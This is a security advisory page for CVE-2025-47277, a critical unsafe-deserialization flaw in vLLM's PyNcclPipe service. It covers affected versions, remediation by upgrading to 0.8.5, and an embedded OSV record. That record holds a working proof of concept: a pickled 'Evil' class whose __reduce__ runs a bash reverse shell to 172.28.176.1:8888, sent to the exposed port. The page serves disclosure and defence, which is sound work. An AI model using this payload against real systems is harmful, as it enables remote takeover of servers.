CVE-2025-47277: Vllm Remote Code Execution Vulnerability
CRITICALCVE-2025-47277 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Vllm libraries in the PyPI ecosystem. The issue involves vllm allows remote code execution via pyncclpipe communication service. Remediation is available by upgrading affected packages to version 0.8.5.
CVE-2025-47277 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-47277
To remediate this vulnerability, upgrade all affected Vllm dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install vllm>=0.8.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show vllm
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-47277, inspect your installed packages using pip:
pip show vllm
Analyze the terminal output to locate any version of Vllm in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.5), your application is affected.
Note: The pip show vllm command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Vllm, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-47277 Affected Vllm Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vllm
|
PyPI |
≥ 0.6.5
< 0.8.5
|
0.8.5
|
References
Frequently Asked Questions
What is CVE-2025-47277?
Which Vllm versions are affected?
What version fixes CVE-2025-47277?
Is vllm affected?
What is the CVSS score of CVE-2025-47277?
What CWE is associated with CVE-2025-47277?
How can I check PyPI dependencies for CVE-2025-47277?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hjq4-87xh-g4fv",
"modified" : "2026-07-17T16:14:26Z",
"published" : "2025-05-20T18:04:30Z",
"aliases" : [ "CVE-2025-47277" ],
"summary" : "vLLM Allows Remote Code Execution via PyNcclPipe Communication Service",
"details" : "### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side. \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n kv_ip=\"0.0.0.0\",\n kv_port=18888,\n kv_rank=0,\n kv_parallel_size=1,\n kv_buffer_size=1024,\n kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n def __reduce__(self):\n import os\n cmd='/bin/bash -c \"bash -i >& /dev/tcp/172.28.176.1/8888 0>&1\"'\n return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n host='172.17.0.1',\n port=18888,\n rank=1,\n world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-> vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-> pickle.loads \n```\n\nGetshell as follows: \n\n\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "vllm"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.6.5"
}, {
"fixed" : "0.8.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47277"
}, {
"type" : "WEB",
"url" : "https://github.com/vllm-project/vllm/pull/15988"
}, {
"type" : "WEB",
"url" : "https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7"
}, {
"type" : "WEB",
"url" : "https://docs.vllm.ai/en/latest/deployment/security.html"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-hjq4-87xh-g4fv"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-567.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/vllm-project/vllm"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/vllm"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-05-20T18:04:30Z",
"nvd_published_at" : "2025-05-20T18:15:46Z"
}
}